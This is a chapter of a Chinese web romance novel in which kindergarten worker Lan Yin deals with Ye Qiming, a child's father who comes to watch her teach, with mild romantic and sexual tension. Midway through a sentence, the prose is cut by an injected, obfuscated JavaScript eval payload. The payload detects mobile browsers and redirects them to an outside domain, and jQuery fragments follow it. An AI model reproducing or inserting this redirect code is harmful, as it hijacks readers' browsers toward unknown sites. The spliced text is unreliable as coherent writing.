28. 情动

今天,天气热得简直破了纪录。一大早,太阳就跟打了兴奋剂似的,明晃晃、热辣辣的光线毫不留情地唤醒了整座城市。


面对这突如其来的高温,蓝茵换上了衬衫短裙款式的夏装园服。她的双腿因许久未曾沐浴阳光,白皙得耀眼,好似散发着柔和光晕的美玉。


蓝茵嘴里叼着尚未吃完的面包,领着穿着夏装帅气逼人的儿子,脚步匆匆地下了楼,开启了忙碌的一天。


筒子楼里的流浪猫们,仿佛一夜之间倾巢而出。它们围着蓝茵的脚边,“喵喵”叫个不停,那叫声里满是对食物的渴望。蓝茵无奈,从牙缝中抠出剩下的面包扔给它们,这才摆脱了它们的纠缠。


瞧那电动车上,一对情侣猫惬意极了,把坐垫当成温暖的被窝,紧紧相拥而眠,睡得那叫一个香甜。蓝茵试着驱赶它们,可它们就像被胶水粘在了车上,纹丝不动。这不禁让人浮想联翩,昨夜它们是不是经历了一场疯狂的“爱情战役”。


此刻,蓝茵心中一直潜藏的某种渴望,犹如花园里被遗忘的野草,在这炽热天气的催化下,如被施了生长激素一般,疯狂地滋长、叫嚣起来。


蓝茵骑着电动车,风驰电掣般将儿子送到幼儿园后,又马不停蹄地赶去上班。风在耳边呼啸,吹乱了她的发丝,也吹散了她的胡思乱想。当她抵达园所楼下,走进大片的阴影里,迎面而来的冷气宛如一盆现实的凉水,彻底浇灭了她心中那团躁动的火焰。


蓝茵哼着小曲,手中晃着钥匙,迈着轻快的步伐走进园所。经过大厅时,她随意一瞥,却瞬间定在了原地。


在大厅之中,一个负手站立的背影,如同一座挺拔的山岩稳稳伫立。阳光透过大厅玻璃,像一层璀璨夺目的金色“圣光”,均匀地铺洒在他身上。他身着贴合身体曲线的黑色丝质衬衫,搭配笔挺垂落的同色系西装裤,浑身上下仿佛是岁月以磅礴笔触一气呵成的杰作。


他双手优雅地背于身后,手指交叠,姿态从容淡定,仿佛世间万物皆在他的掌控之中。


蓝茵的心跳陡然加速,那原本已经熄灭的火焰,在看到这个背影的瞬间,如被浇了一桶汽油,“轰”地一下再次熊熊燃烧起来。


“梦中情郎”如同一颗天降陨石,毫无征兆地砸进了现实。那些在梦中与他度过的不可描述的旖旎片段,瞬间如一群脱缰的野马,在她的脑海中肆意狂奔。


每一个疯狂触碰、抵死缠绵的画面,都像尖锐的针,刺痛着她的羞耻心;可同时,又似强力的磁铁,吸引着她内心深处的渴望。羞耻与兴奋相互交织,这种矛盾的感觉几乎将她逼至崩溃边缘。


蓝茵的脸涨得通红,她拼命克制着自己不去想那些画面,可目光却像被钉在了他的背影上。她用尽全身力气在心里驱赶那些不堪的念头,却又在潜意识里将他的身体剖析了一遍又一遍。


世界仿佛变成了一个巨大的、混乱的漩涡,梦境与现实疯狂地搅在一起,让她如置身迷雾森林,分不清东南西北。


那背影似乎察觉到了她炽热的目光,缓缓地转过身来。


一张令人心动到极致的脸庞映入蓝茵的眼帘。


他瞥过来的眼神,全然没有梦里的勾魂摄魄、娇嗔薄怒、欲拒还迎。而是平静得令人心惊,看不到一丝情绪的波动,于无声处却仿佛酝酿着一场即将爆发的风暴。


那感觉就像一记响亮的耳光,狠狠地打在了蓝茵的脸上,让她猛地清醒过来。


刚才有多痴迷、多沉醉,现在就有多痛恨、多不屑。


回到现实中,蓝茵对他已全无好感。这种心情就如同叶公好龙,她所幻想的只是梦中那个完美的叶启铭,而非现实中处处与她作对、高高在上的叶启铭。


四目相对时,蓝茵见他的目光动了,那目光如同冰冷的Ct扫描,穿透她的身体,将她从头到脚打量了一遍。


那眼神冷酷无情,没有丝毫的温度,就像屠宰场里经验老到的宰杀师,仿佛在用眼神细数她的每一根肋骨。


被这种眼神盯着,蓝茵莫名地感到一阵寒意,没有衣物遮挡的胳膊和腿,都觉得凉飕飕的,鸡皮疙瘩都冒了出来。


叶启铭看着她,手指轻轻摩挲着手腕上的金属环。


这么多年来,能让他产生冲动的女人,蓝茵是第一个。这种不顾场合、突如其来的身体反应,起初让他感到尴尬和无措。那时他的本能反应就是离这个罪魁祸首远远的。然而,逃避并非他的风格。作为一个正值盛年的健康男性,开了这个先河后,他以后还会面临诸多类似情况,从源头上扼杀,才是最好的解决办法。


他从十几岁起就开始挑战自我极限,自我控制能力极强,任何意外的情绪对他来说都是一种考验,能增强他自我控制的力量。


蓝茵这个女人,现在就是他的考验与挑战。当男人对一个女人产生欲望时,并非真的有多喜欢。只是荷尔蒙的分泌刺激大脑分泌多巴胺,这种愉悦和兴奋感会让人逐渐成为多巴胺的奴隶,不断寻求这种刺激和快乐,沉迷于一段又一段的恋爱关系,沈筠潇便是如此。但这种分泌就像潮汐,有起有落,高峰过后便是低谷,人体也会随之产生腻味心理。


与其被多巴胺掌控,不如他来掌控多巴胺。坐以待毙不是他的作风,主动出击才是他的本色。他要让多巴胺知道,谁才是身体的真正主宰。


看着她玲珑有致、肤白胜雪的身体,叶启铭想象着她不着寸缕的模样,故意诱导着多巴胺的出现,可也许是多巴胺也怕了他,迟迟不肯现身。


“小样!”叶启铭在心里暗自嘲讽,嘴角勾起一抹轻蔑的笑。


蓝茵看见他笑了,那笑容仿佛带着无尽的威慑。


一瞬间,蓝茵的思绪如闪电般划过他们相识以来的种种龃龉,她顿时恍然大悟,眼前这位不速之客——叶启铭今日突然到访,就是来清算旧账的。


“算账是吧?横竖不过是挨上一刀。”蓝茵心中毫无惧意。她双手豪迈地叉腰,胸膛高高挺起,挑衅的目光如利刃般瞥向叶启铭。


然而,叶启铭今日前来,目标可不止蓝茵一人,还有叶翊辰。


尽管亲情在他们之间淡薄如纸,但叶翊辰毕竟是他的亲弟弟,血浓于水的纽带难以割舍。叶启铭心中对弟弟一直怀有愧疚。当年若不是他坚持不婚不育,叶翊辰也不会被迫来到这个世界。叶翊辰的诞生本就违背自然规律,彼时母亲早已过了适宜生育的年龄,是借助诸多先进科技手段,才让他得以降临人世。叶启铭虽对此做法并不认同,但为了叶氏家族后继有人,也只能默认。


长久以来,叶翊辰在各方面反应迟钝,叶启铭都归咎于他先天条件欠佳,并未寄予太多期望。在他看来,即便叶翊辰没什么出息,长大后能为叶氏开枝散叶便足矣。


可蓝茵竟放出豪言,称智启方舟能把叶翊辰培养成一匹狼。这个承诺,如同一颗石子投入他平静的心湖,泛起层层涟漪,让他不禁心动。


所以,他今日前来,就是要亲眼验证,智启方舟是否真有如此神奇的能耐。


叶启铭的目光,缓缓落在一旁专注玩着玩具的叶翊辰身上。


刹那间,蓝茵心领神会,隐隐猜到了叶启铭此番到访的意图:他既是来陪孩子上学,也是来监督智启方舟的教学工作,对其进行一场无声的审判。


聪明人之间,无需过多言语。叶启铭不紧不慢地拉开一张椅子,稳稳落座,这一简单的动作,已表明了他的态度。


被这样一位气场强大的人物紧盯,蓝茵只觉压力如山,比教育局来视察还要紧张。她本能地想要拒绝叶启铭留下,但智启方舟不同于封闭式管理的幼儿园,它是面向家长开放的教育机构。叶启铭作为孩子的亲生父亲,有权利陪孩子上学。此前她能拒绝沈筠潇陪读的请求,面对叶启铭,却毫无拒绝的理由。


无奈之下,蓝茵只好自我安慰:罢了罢了,他爱盯着就盯着吧,被盯着又不会少块肉,就当他不存在好了。


然而,那如芒在背的感觉,如影随形,无论如何都无法忽视。蓝茵恨不得立刻把孩子送进托班,再把叶启铭也请进去,让他离自己远远的。可此时还未到孩子们正式入园的时间,托班的阿姨正在教室里清洁消毒,老师们也在紧锣密鼓地准备当天的上课教具,早到的孩子只能由她这个“闲人”照看。


叶启铭就像一块甩不掉的牛皮糖,让蓝茵头疼不已。


他的存在,仿佛给大厅的空气都上了一层枷锁,变得压抑而凝滞。在这死一般的寂静中,孩子玩玩具的声音格外刺耳。一向活泼外向、咋咋呼呼的蓝茵,此刻连大气都不敢出,手脚都不知该如何安放。


——


就在这令人窒息的氛围中,门口突然传来张子恒小朋友撕心裂肺的哭声,伴随着子恒爸爸既焦躁又温柔的劝慰声:“宝贝,爸爸要去上班,你要去上学,每个人都有自己的任务。等你放学,爸爸第一时间就来接你……”


这声音,宛如黑暗中的一道曙光,蓝茵瞬间像抓住了救命稻草,“噌”地一下冲了过去,从子恒爸爸怀里一把将张子恒抱了过来,任凭孩子在怀里拳打脚,她也紧紧不放。


“啪”的一声,蓝茵脸上挨了一耳光,疼得她忍不住龇了下牙。但她还是强忍着疼痛,微笑着安慰子恒爸爸:“您放心吧,我哄哄他,一会儿就好了。您赶紧去上班,别迟到了。”


“真不好意思,麻烦您了。我家这孩子脾气倔得很,怎么劝都不听,也不知道随了谁,一点都不像我和他妈妈。老师,真是辛苦您了!”说话间,电梯到了,子恒爸爸匆匆离去。


看着爸爸消失在电梯里,张子恒小朋友更加疯狂地哭闹起来,双脚乱蹬,双手在空中胡乱挥舞。蓝茵费了九牛二虎之力,才把他抱到大厅的地毯上。张子恒一到地毯上,便撒起泼来,满地打滚,那架势,仿佛不回家找爸爸就誓不罢休,活脱脱一个混世魔王。


主班老师琪琪和托班主管王芳听到动静,急忙赶了过来。三人齐心协力,使出浑身解数,却丝毫奈何不了这个孩子,张子恒反而闹得更凶了。


这时,一直在一旁玩玩具的叶翊辰小朋友放下手中的玩具,眨巴着一双懵懂的眼睛,呆呆地看着撒泼的张子恒。


叶启铭的目光却落在了蓝茵身上。由于孩子的挣扎,蓝茵裸露在外的肌肤布满了一道道红印,就像洁白的美玉上盛开的荼蘼,有一种转瞬即逝的凄美,让人看了心生怜惜。


叶启铭呼吸陡然一滞。


孩子的哭闹声、大人们的劝慰声交织在一起,大厅里乱成一团。在这嘈杂的环境中,叶启铭的目光却紧紧锁定在蓝茵身上,周围的一切仿佛都消失了,整个世界只剩下蓝茵的身影。


就在他沉浸在这份心动中时,蓝茵突然有了动作,她做出的举动让所有人都目瞪口呆。


只见她一屁股坐在地毯上,像张子恒一样撒泼打滚起来,嘴里还声情并茂地嚎着:“呜呜呜呜!我要爸爸!我要妈妈!我要回家!”


张子恒小朋友从未见过如此“耍赖”的大人,一下子愣住了,连哭闹都忘记了。


琪琪老师和王芳也惊得目瞪口呆,心里暗自嘀咕:见过蓝姐耍宝,可没见过她这么“不要脸”的样子,简直突破了人类脸皮的极限!


“噗……”叶启铭忍不住轻声笑了出来。


这笑声虽轻,却还是被耳尖的蓝茵捕捉到了。她的脸瞬间红得像熟透的苹果,立刻停止了“表演”,从地毯上爬起来,冲张子恒挑了挑眉,神气地说:“你会的,我都会。从现在起,你做什么我就做什么,让你看看自己发脾气的丑样子。”


张子恒的“魔法”被蓝茵轻松破解,瞬间安静下来,乖乖得像一只鹌鹑。


蓝茵双手叉腰,得意地笑道:“小样,我还治不了你?那我这么多年饭岂不是白吃了!”


——


陆陆续续,又有几个孩子来到,蓝茵便让他们在大厅自在玩耍。这群小家伙在大厅里肆意撒欢,原本整洁有序的大厅瞬间一片狼藉。蓝茵可不想事后收拾这一堆玩具,于是便带着孩子们来到户外,叶翊辰也在其中。


叶启铭并未跟着去户外,他斜倚在大厅的落地窗边,双手抱胸,目光淡淡地投向外边。


户外游乐场宛如孩子们的梦幻天堂,他们如同挣脱牢笼的小鸟,瞬间欢快


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15523405|166949||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''


地飞了出去。滑滑梯上、小车上、攀爬架上、独木桥上,到处都是他们活泼欢快的身影,清脆的笑声在空气中回荡。


在这些孩子里,叶翊辰年龄最小,四肢协调能力也最差,自然成了重点看护对象。蓝茵的目光始终聚焦在叶翊辰身上,偶尔才会扫向其他小朋友。


叶翊辰最爱玩滑滑梯,他撅着小屁股,双手紧紧扶着两边的扶手,一步一步艰难而又执着地往楼梯上爬。为了锻炼他的自主能力,蓝茵自始至终都没有伸手帮忙,只是用双手虚虚地护在他两侧,时刻防备着他可能会摔倒。好不容易爬到了滑梯顶端,叶翊辰露出了一个比阳光还要灿烂的笑容,那纯真无邪的笑容,让叶启铭一瞬间有些失神。


只见叶翊辰俯下身体,像只可爱的青蛙一样趴在滑道上,头朝下,“嗖”的一声滑了下来,差一点脑袋就和地面来了个“亲密接触”。


看到孩子做出如此危险的动作,而一旁的蓝茵却一脸淡定,丝毫没有要制止的意思,叶启铭觉得她连最基本的安全意识都没有。由此他不禁想到,孩子在智启方舟恐怕根本得不到悉心的照顾。恼怒瞬间涌上心头,他甚至产生了立刻给孩子办理退学的念头。


这时,叶翊辰的主班老师陈锦瑶走了过来,看到叶翊辰一直趴着玩滑滑梯,赶忙上前想要纠正他的姿势,可这小家伙就是不依不饶,非要趴着滑不可。


陈锦瑶没办法,只好向蓝茵求助:“蓝姐,你帮个忙吧,辰宝最听你的话了,你去引导他坐着滑,他肯定会听的。”


“为什么一定要让他坐着滑呢?又没有人规定玩滑滑梯就只能坐着。”蓝茵凭借自己的经验耐心解释道,“小宝宝刚开始玩滑滑梯的时候,大多都是趴着玩的。趴着时,宝宝身体的重心落在滑梯表面,能减轻背部和颈部的压力,让宝宝感觉更放松。而且,宝宝还可以用双手和膝盖控制下滑的速度和方向,这样他会更有安全感。趴着玩的好处可多了,不仅能刺激孩子的前庭系统,还有助于培养孩子的平衡感和空间感知能力。”


说完,蓝茵斜睨了一眼如影随形的叶启铭,叶启铭自然明白,她这番话是说给自己听的。


叶启铭认真思索一番后,不得不承认,蓝茵说得确实有几分道理。自己确实不该仅凭这一个举动就全盘否定她,但他也不会因为这一点就完全信任她。


陈锦瑶虽然觉得很有收获,但心里还是放心不下。作为孩子的主班老师,她是孩子的直接责任人,真的害怕孩子受伤。于是,她退而求其次地说:“那我去给他拿个头盔吧,这样趴着滑还是太冒险了。”


“你难道没发现孩子有自我保护机制吗?你仔细看,每次快滑到底的时候,他都会放慢速度,还会微微抬起头。他能保护好自己的脑袋的。要是给他戴上头盔,反而会干扰他的判断能力,这样他永远都学不会自我保护了。”


蓝茵轻轻拍了拍她的肩膀,宽慰道:“我理解你的担心,但每个宝宝在还是小蝌蚪的时候,都是打败了上亿个兄弟姐妹才来到这个世界的。生命远比我们想象的要顽强。最好的教育,是让孩子在尊重、信任和理解的土壤中扎下自己的根,放手让他们去探索,就是对孩子最好的支持。和孩子相处时,少对他们说‘坐着别动,会摔倒’,而应该说‘摔倒了,我会接住你’。”


说着,蓝茵亲自做了个示范。她蹲在滑道底部,朝着坐在滑道上方的叶翊辰张开双臂,脸上带着温柔的笑容,轻声说道:“翊辰,你坐着滑下来,别害怕,我在这里接着你。”


叶翊辰立刻像小鸟张开翅膀一样,欢快地飞扑进蓝茵的怀里。


蓝茵紧紧地搂住他,慈爱地在他额头上亲吻了一下,真心夸赞道:“翊辰,你真棒!”


“难怪翊辰最喜欢蓝姐了,蓝姐是最懂他的人!”陈锦瑶由衷地感慨道,“每次和蓝姐在一起,我都能学到很多东西,蓝姐你就是我的偶像!”


早晨八点钟,璀璨的阳光洒在紧紧相拥的两人身上,给蓝茵镀上了一层金色的光芒。不过,比起这层外在的光辉,她内在散发的光芒更加耀眼。她就像一个温暖的热源,拥有一种能融化人心的力量。


在这一刻,叶启铭终于相信,蓝茵确实有能力把叶翊辰培养成一匹狼。或许,能否成为一匹狼并不重要,重要的是让叶翊辰成为独一无二的自己。


——


户外活动结束,蓝茵把孩子们安全送回各自班级,这一趟带娃任务算是顺利完成。


此时距离入园高峰期还有段时间,她暂时不用去前台站岗。蓝茵打算去厕所放松一下,刷刷手机偷个懒。


她把手机揣进兜里,嘴里哼着轻松的小调,脚步轻快地朝厕所走去。走着走着,她隐约感觉身后有个长长的影子跟着。蓝茵猛地回头,满脸疑惑地看着叶启铭,忍不住问道:“孩子在托班里,又不在我屁股后面,你跟着我干嘛?”


叶启铭这才回过神来,意识到自己竟不知不觉跟了一路,仿佛丢了魂儿,连孩子都被抛到了脑后。


这种丢脸的事,叶启铭自然不会承认。他板起脸,一本正经地说:“我来监督你干活,看看你配不配当孩子老师,你有意见吗?”


“没意见,没意见。”蓝茵嘴角上扬,带着一丝调侃的意味,“我去上厕所,你也要监督?”


叶启铭这才发现自己竟跟着她到了厕所门口,顿时,一抹红晕迅速爬上脸颊。


蓝茵还是第一次见他脸红,那红,恰似春日里初绽的桃花,带着几分羞恼与纯真,从他轮廓分明的脸颊蔓延到耳根,连性感的喉结也染上了淡淡的粉色,仿佛一直红到了衬衫里面。


蓝茵走进厕所,正要关门,突然起了捉弄他的心思,故意拉长声音说:“铭哥~你要不要进来看看,我拉的是红的还是黄的、白的还是绿的?”


叶启铭怎会听不出她话里的捉弄,他伸手挡住门,紧接着一步跨进厕所,迅速关上门。


蓝茵被他一连串快速的动作弄得晕头转向,差点摔倒。叶启铭眼疾手快,一把搂住她的腰,将她紧紧贴在怀里。他微微低头,嘴角挂着一丝嘲讽,居高临下地说:“我进来了,你敢让我看吗?”